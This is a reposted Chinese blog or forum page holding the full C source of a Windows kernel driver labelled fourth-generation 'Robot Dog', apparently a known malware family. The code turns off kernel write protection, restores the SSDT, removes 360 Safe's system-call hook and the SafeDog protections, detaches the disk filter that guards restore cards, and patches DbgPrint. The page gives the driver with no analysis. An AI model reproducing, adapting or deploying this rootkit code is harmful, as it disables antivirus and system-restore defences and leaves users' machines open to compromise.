第四代机器狗驱动代码

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原创最新推荐文章于 2026-09-08 12:20:09 发布 1.9k 阅读 AI 写同款· GEO 优化 ›

#include<ntddk.h>
#include<stdio.h>
ULONG * realssdt;
#define SEC_IMAGE 0x01000000
#pragma pack(1)
typedef struct ServiceDescriptorEntry {
unsigned int *ServiceTableBase;
unsigned int *ServiceCounterTableBase;
unsigned int NumberOfServices;
unsigned char *ParamTableBase;
} SDT, *PSDT;
extern PSDT KeServiceDescriptorTable;
#pragma pack()
extern POBJECT_TYPE* IoDriverObjectType;
#define DWORD unsigned long
PDEVICE_OBJECT dr0attach;
PDEVICE_OBJECT dr0dev;
ULONG devctrl,scsi,power,sysctrl,pnp;
ULONG retaddr;
NTSYSAPI
NTSTATUS
NTAPI
ZwAccessCheckAndAuditAlarm(
   PUNICODE_STRING SubsystemName,
   PVOID HandleId,
   PUNICODE_STRING ObjectTypeName,
   PUNICODE_STRING ObjectName,
   PSECURITY_DESCRIPTOR SecurityDescriptor,
   ACCESS_MASK DesiredAccess,
   PGENERIC_MAPPING GenericMapping,
   BOOLEAN ObjectCreation,
   PACCESS_MASK GrantedAccess,
   PBOOLEAN AccessStatus,
   PBOOLEAN GenerateOnClose);

NTSYSAPI
NTSTATUS
NTAPI
ZwQuerySystemInformation(
IN ULONG SystemInformationClass,
IN OUT PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength);

NTSYSAPI
NTSTATUS
NTAPI
ZwCreateSection(
OUT PHANDLE  SectionHandle,
IN ACCESS_MASK  DesiredAccess,
IN POBJECT_ATTRIBUTES  ObjectAttributes OPTIONAL,
IN PLARGE_INTEGER  MaximumSize OPTIONAL,
IN ULONG  SectionPageProtection,
IN ULONG  AllocationAttributes,
IN HANDLE  FileHandle OPTIONAL
);

NTSYSAPI
NTSTATUS
NTAPI
ObReferenceObjectByName(
IN PUNICODE_STRING ObjectName,
IN ULONG Attributes,
IN PACCESS_STATE AccessState OPTIONAL,
IN ACCESS_MASK DesiredAccess OPTIONAL,
IN POBJECT_TYPE ObjectType,
IN KPROCESSOR_MODE AccessMode,
IN OUT PVOID ParseContext OPTIONAL,
OUT PVOID* Object );

NTSYSAPI
NTSTATUS
NTAPI
  ZwOpenDirectoryObject(
OUT PHANDLE  DirectoryHandle,
IN ACCESS_MASK  DesiredAccess,
IN POBJECT_ATTRIBUTES  ObjectAttributes
);

typedef struct _SYSTEM_MODULE_INFORMATION {
ULONG Reserved[2];
PVOID Base;
ULONG Size;
ULONG Flags;
USHORT Index;
USHORT Unknown;
USHORT LoadCount;
USHORT ModuleNameOffset;
CHAR ImageName[255];
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;

ULONG GetModuleBase(char* name){

ULONG                      n,i ;
PSYSTEM_MODULE_INFORMATION  module;
PVOID                      pbuftmp;
char modulename[255];

ZwQuerySystemInformation(11, &n, 0, &n);
pbuftmp = ExAllocatePool(NonPagedPool, n);
ZwQuerySystemInformation(11, pbuftmp, n, NULL);

module = (PSYSTEM_MODULE_INFORMATION)((PULONG )pbuftmp + 1 );
n    = *((PULONG)pbuftmp );
for ( i = 0; i < n; i++ )
{
strcpy(modulename,module[i].ImageName + module[i].ModuleNameOffset);
if(!_strnicmp(modulename,name,strlen(name))){
   ExFreePool(pbuftmp);
return (ULONG)module[i].Base;
}
}

ExFreePool(pbuftmp);
return 0;
}

VOID PatchSSDT(){
ULONG offset,i,imagebase,kernelbase;
UNICODE_STRING ntoskrnl;
OBJECT_ATTRIBUTES oa;
IO_STATUS_BLOCK iosb;
SIZE_T size=0;
PVOID base= NULL;
HANDLE hFile,hSection;
realssdt=ExAllocatePool(0,KeServiceDescriptorTable->NumberOfServices*4);
RtlInitUnicodeString(&ntoskrnl,L"//SystemRoot//System32//ntoskrnl.exe");
InitializeObjectAttributes(&oa,&ntoskrnl, OBJ_KERNEL_HANDLE|OBJ_CASE_INSENSITIVE  ,0,0);
ZwOpenFile(&hFile, FILE_EXECUTE | SYNCHRONIZE , &oa, &iosb, FILE_SHARE_READ, FILE_SYNCHRONOUS_IO_NONALERT);
oa.ObjectName = 0;
ZwCreateSection(&hSection, SECTION_ALL_ACCESS, &oa, 0,PAGE_EXECUTE, SEC_IMAGE, hFile);
ZwMapViewOfSection(hSection, NtCurrentProcess  (), &base, 0, 1000, 0, &size,(  SECTION_INHERIT  )  1  , MEM_TOP_DOWN  ,  PAGE_READWRITE);
ZwClose(hFile);

kernelbase=GetModuleBase("ntoskrnl.exe");
imagebase=*(ULONG*)((ULONG)base+*(ULONG*)((ULONG)base+0x3C)+13*4);

offset=*(ULONG*)KeServiceDescriptorTable-GetModuleBase("ntoskrnl.exe");
RtlCopyMemory(realssdt,(PVOID )(offset+(ULONG)base),(KeServiceDescriptorTable->NumberOfServices*4));

for(i=0;i<KeServiceDescriptorTable->NumberOfServices;i++,realssdt++)
{
*realssdt=*realssdt-imagebase+kernelbase;//取得内存里正确的地址，然后修改回去
*(ULONG*)((ULONG)KeServiceDescriptorTable->ServiceTableBase+i*4)=*realssdt;
}

}

VOID FindDispatch(){//从atapi.sys文件读取原本的dispatch routine

NTSTATUS status;
   HANDLE Handle;
UNICODE_STRING atapi;
OBJECT_ATTRIBUTES ObjectAttributes;
IO_STATUS_BLOCK IoStatusBlock;
FILE_STANDARD_INFORMATION NumberOfBytes;
PVOID buf;
ULONG PE,opthead,init,initpointer,Length,secnum,rawsize,rawpointer,limit,base;
int i;

RtlInitUnicodeString(&atapi,L"//SystemRoot//System32//drivers//atapi.sys");
ObjectAttributes.ObjectName = &atapi;
  ObjectAttributes.Length = 24;
  ObjectAttributes.RootDirectory = 0;
  ObjectAttributes.Attributes =576;
  ObjectAttributes.SecurityDescriptor = 0;
  ObjectAttributes.SecurityQualityOfService = 0;

status = IoCreateFile(&Handle,GENERIC_READ,&ObjectAttributes,&IoStatusBlock,0,FILE_ATTRIBUTE_NORMAL,
   FILE_SHARE_READ,FILE_OPEN,0x50u,0,0,0,0,0);

  if(status<0){
  DbgPrint("Open File failed...%08x..",status);
  return ;
  }
  status = ZwQueryInformationFile(Handle, &IoStatusBlock, &NumberOfBytes, 24, FileStandardInformation);
  if(status<0){
  DbgPrint("ZwQueryInformationFile File failed...%08x..",status);
  return ;
  }
  buf= ExAllocatePool(0, NumberOfBytes.AllocationSize.LowPart);
  if(buf==NULL)
   {
  DbgPrint("ExAllocatePoolWithTag failed");
  return ;
  }
  ZwReadFile(Handle, 0, 0, 0, &IoStatusBlock, buf,NumberOfBytes.AllocationSize.LowPart, 0, 0);

  PE=(ULONG)buf;
  for(i=0;i<0x1000;i++){
  if(!_stricmp((const char*)PE,"pe"))
  break;
  PE++;
  }
  DbgPrint("PE Header 0x%x 0x%.2x 0x%.2x",PE, *(UCHAR*)(PE),*(UCHAR*)((ULONG)PE+1));
   opthead = *(unsigned short *)(PE + 20); //SizeofOptionalHeader
   DbgPrint("SizeofOptionalHeader - 0x%x",opthead );
init = opthead + PE  + 24;
   initpointer=init;
   Length = 0;
      while (_stricmp((const char*)init,"init"))
      {
      initpointer += 40;
      secnum = *(DWORD *)(PE + 6);
      ++Length;
      if ( Length >= secnum )
         break;
      init = initpointer;
      }
      init = initpointer;

   if ( Length == *(DWORD *)(PE+ 6) )
      DbgPrint("No found INit seg/r/n");
   else
   {
      rawpointer = *(DWORD *)(init + 20);
      rawsize = *(DWORD *)(init + 16);
DbgPrint("rawpointer 0x%x",rawpointer);
      DbgPrint("rawsize 0x%x",rawsize);
limit=rawpointer+rawsize;
if(rawpointer<rawpointer+rawsize){
            while ( *((unsigned char *)buf + rawpointer) != 0xC7
            || *((unsigned char *)buf + rawpointer + 2) != 0x30
            || *((unsigned char *)buf + rawpointer + 7) != 0xC7
            || *((unsigned char *)buf + rawpointer + 9) != 0x34
            || *((unsigned char *)buf + rawpointer + 14) != 0xC7
            || *((unsigned char *)buf + rawpointer + 21) != 0xC7
            || *((unsigned char *)buf + rawpointer + 28) != 0xC7 )//寻找Major Function
      {
         ++rawpointer;
         if ( rawpointer >= limit)
{
ExFreePool(buf);
ZwClose(Handle);
return;
}
      }
scsi=*(DWORD *)((ULONG)buf + rawpointer + 17) -0x10000;//IRP_MJ_SCSI
devctrl=*(DWORD *)((ULONG)buf + rawpointer+ 24) -0x10000;//IRP_MJ_DEVICE_CONTROL
power=*(DWORD *)((ULONG)buf + rawpointer + 34) -0x10000;//IRP_MJ_POWER
pnp=*(DWORD *)((ULONG)buf + rawpointer + 44) -0x10000;//IRP_MJ_PNP
sysctrl=*(DWORD *)((ULONG)buf + rawpointer + 54) -0x10000;//IRP_MJ_SYSTEM_CONTROL
base=GetModuleBase("atapi.sys");
scsi+=base;
devctrl+=base;
power+=base;
pnp+=base;
sysctrl+=base;
DbgPrint("scsi-0x%x devctrl-0x%x power-0x%x sysctrl-0x%x pnp-0x%x",scsi,devctrl,power,sysctrl,pnp);

}
   }
      ExFreePool(buf);
ZwClose(Handle);
}

_declspec(naked) ULONG
  MyDbgPrint(
){
_asm{
push eax
mov eax,[esp+4]
cmp    dword ptr [eax], 3E86859h
jnz end
cmp dword ptr [eax+4], 0EE80000h
jnz end
mov    eax, [ebp+4]
cmp    eax, 80000000h
jb end
cmp    byte ptr [eax], 83h
jnz end
cmp    byte ptr [eax+1], 4Dh
jnz end
cmp    byte ptr [eax+2], 0FCh
jnz end
   cmp    byte ptr [eax+3], 0FFh
   jnz end
   cmp    byte ptr [eax+4], 6Ah
   push dword ptr [ebp-4]
   call ZwClose
   pop    eax
   jmp    dword ptr [ebp+4]

end:
pop    eax
push ebp
mov    ebp, esp
jmp [retaddr]
}

}

_declspec(naked)int recover(){
_asm{
sub esp,ecx
shr ecx,2
mov  edi,esp
cmp  esi, 7FFF0000h
}
}

VOID
  Reinitialize(
IN PDRIVER_OBJECT  DriverObject,
IN PVOID  Context,
IN ULONG  Count
){

  OBJECT_ATTRIBUTES ObjectAttributes;
  PDEVICE_OBJECT devobj;
  UNICODE_STRING aDeviceHarddisk,aDriverProtecte;
  UNICODE_STRING aDriverAtapi,aDriverDisk,safedog;
  HANDLE DirectoryHandle;
  PVOID Object;
  PDRIVER_OBJECT atapiobj,protectdrv,diskdrv,dogdrv;
  ULONG mjcreate,systemservice,foundaddr,pointer,iopointer,dbgpoint;
  int v10,i;
  unsigned int count;
  RtlInitUnicodeString(&aDeviceHarddisk,L"//Device//Harddisk0");
  ObjectAttributes.Length = 24;
  ObjectAttributes.RootDirectory = 0;
  ObjectAttributes.ObjectName =&aDeviceHarddisk;
  ObjectAttributes.Attributes = 64;
  ObjectAttributes.SecurityDescriptor = 0;
  ObjectAttributes.SecurityQualityOfService = 0;

if ( !ZwOpenDirectoryObject(&DirectoryHandle, DIRECTORY_QUERY, &ObjectAttributes) )
  {
if ( !ObReferenceObjectByHandle(DirectoryHandle, 1, 0, 0, &Object, 0) )
{
   if ( Object )
   {
      count = 0;
      while (count < 0x28 )//抹掉DR0的AttachDevice(这边穿还原)
      {
      v10 = *((DWORD *)Object + count);
      if ( v10 )
      {
         devobj = *(PDEVICE_OBJECT*)(v10 + 4);
         if ( devobj->Type == 3 ) {
            if ( devobj->AttachedDevice )
            {
            dr0attach = devobj->AttachedDevice;
            dr0dev = devobj;
            devobj->AttachedDevice = 0;
            break;
            }
         }
      }
      ++count;
      }

   }
   ObDereferenceObject( Object);
}
ZwClose(DirectoryHandle);
  }
__asm
{
   mov eax, CR0
   and eax, 0FFFEFFFFh
   mov CR0, eax
}

RtlInitUnicodeString(&aDriverAtapi,L"//Driver//atapi");
ObReferenceObjectByName(&aDriverAtapi,64,0, OBJ_CASE_INSENSITIVE, *IoDriverObjectType, 0, 0,&atapiobj);
FindDispatch();

atapiobj->MajorFunction[IRP_MJ_SCSI]=(PDRIVER_DISPATCH)scsi;
atapiobj->MajorFunction[IRP_MJ_DEVICE_CONTROL]=(PDRIVER_DISPATCH)devctrl;
atapiobj->MajorFunction[IRP_MJ_POWER]=(PDRIVER_DISPATCH)power;
atapiobj->MajorFunction[IRP_MJ_PNP ]=(PDRIVER_DISPATCH)pnp;
atapiobj->MajorFunction[IRP_MJ_SYSTEM_CONTROL ]=(PDRIVER_DISPATCH)sysctrl;

RtlInitUnicodeString(&aDriverProtecte,L"//Driver//ProtectedC");
RtlInitUnicodeString(&aDriverDisk,L"//Driver//Disk");
  if ( !ObReferenceObjectByName(&aDriverProtecte, 64, 0,OBJ_CASE_INSENSITIVE, *IoDriverObjectType, 0, 0, &protectdrv) )
  {
if ( protectdrv )
{
   if ( !ObReferenceObjectByName(&aDriverDisk, 64, 0, OBJ_CASE_INSENSITIVE, *IoDriverObjectType, 0, 0, &diskdrv) )
   {
      if ( diskdrv )
      {
      if ( diskdrv->MajorFunction[IRP_MJ_CREATE] == diskdrv->MajorFunction[IRP_MJ_CLOSE ]  )
      {
         mjcreate = (ULONG)diskdrv->MajorFunction[IRP_MJ_CREATE];
         i=0;
while(i<=IRP_MJ_MAXIMUM_FUNCTION)
diskdrv->MajorFunction[i++]=(PDRIVER_DISPATCH)mjcreate;
      }
      }
   }
}
  }

PatchSSDT();
systemservice=(ULONG)ZwAccessCheckAndAuditAlarm+13+*(ULONG*)((ULONG)ZwAccessCheckAndAuditAlarm+13)+4;
DbgPrint("KiSystemService - %x",systemservice);
count=0;
foundaddr=0;
while(count<0x300)
{

if(*(unsigned char*)(systemservice+count)==0x8B&&
*(unsigned char*)(systemservice+count+1)==0x1C&&
*(unsigned char*)(systemservice+count+2)==0x87)
{
foundaddr=systemservice+count+3;
break;
}
count++;
}
//还原360保险箱对KiSystemService的钩子
/*
804d5e77 8b1c87       mov    ebx,dword ptr [edi+eax*4]
804d5e7a 2be1          sub    esp,ecx
804d5e7c c1e902       shr    ecx,2
804d5e7f 8bfc          mov    edi,esp
804d5e81 3b35b4745480 cmp    esi,dword ptr [nt!MmUserProbeAddress (805474b4)]
*/

if(foundaddr){

*(ULONG*)((ULONG)recover+9)=*(ULONG*)MmUserProbeAddress;
pointer=(ULONG)recover;
for(i=0;i<13;i++,foundaddr++,pointer++)
*(unsigned char*)foundaddr=*(unsigned char*)pointer;
}

RtlInitUnicodeString(&safedog,L"//Driver//SafeDog");
  if ( !ObReferenceObjectByName(&safedog, 64, 0, OBJ_CASE_INSENSITIVE, *IoDriverObjectType, 0, 0, &dogdrv))
  {
if(dogdrv)
{

iopointer=(ULONG)IoGetDeviceObjectPointer;
*(unsigned char*)(iopointer)=0x8b;
*(unsigned char*)(iopointer+1)=0xff;
*(unsigned char*)(iopointer+2)=0x55;
*(unsigned char*)(iopointer+3)=0x8b;
*(unsigned char*)(iopointer+4)=0xec;

}
  }
  dbgpoint=(ULONG)DbgPrint;//inline DbgPrint()
  retaddr=dbgpoint+5;
  *(unsigned char*)dbgpoint=0xE9;
  *(ULONG*)((ULONG)dbgpoint+1)=(ULONG)MyDbgPrint-(ULONG)dbgpoint-5;

  __asm
{
   mov eax, CR0
   or eax, NOT 0FFFEFFFFh
   mov CR0, eax
}
}

NTSTATUS
  Dispatch(
IN PDEVICE_OBJECT  DeviceObject,
IN PIRP  Irp
){

  IofCompleteRequest(Irp, 0);
  return 0;
}

VOID DriverUnload(IN PDRIVER_OBJECT DriverObject)
{
UNICODE_STRING SymbolicLinkName;
RtlInitUnicodeString(&SymbolicLinkName,L"//DosDevices//32ef43d02471c26e");
IoDeleteSymbolicLink(&SymbolicLinkName);
  IoDeleteDevice(DriverObject->DeviceObject);

}

NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject,
            IN PUNICODE_STRING RegistryPath)
{

  PDEVICE_OBJECT DeviceObject;
  UNICODE_STRING DeviceName;
  UNICODE_STRING SymbolicLinkName;
RtlInitUnicodeString(&DeviceName,L"//Device//32ef43d02471c26e");//随机生成的路径
RtlInitUnicodeString(&SymbolicLinkName,L"//DosDevices//32ef43d02471c26e");
  if ( !IoCreateDevice(DriverObject, 0, &DeviceName, FILE_DEVICE_NULL  , 0, TRUE, &DeviceObject) )
  {
if ( IoCreateSymbolicLink(&SymbolicLinkName, &DeviceName) )
{
   IoDeleteDevice(DeviceObject);
}
else
{
   DriverObject->MajorFunction[IRP_MJ_CREATE ] = Dispatch;
   DriverObject->MajorFunction[IRP_MJ_CLOSE ] = Dispatch;
   DriverObject->DriverUnload = DriverUnload;
   IoRegisterDriverReinitialization(DriverObject, Reinitialize,0);
}
  }

return 0;
}[ 本帖最后由 eros412 于 2008-6-27 18:07 编辑 ]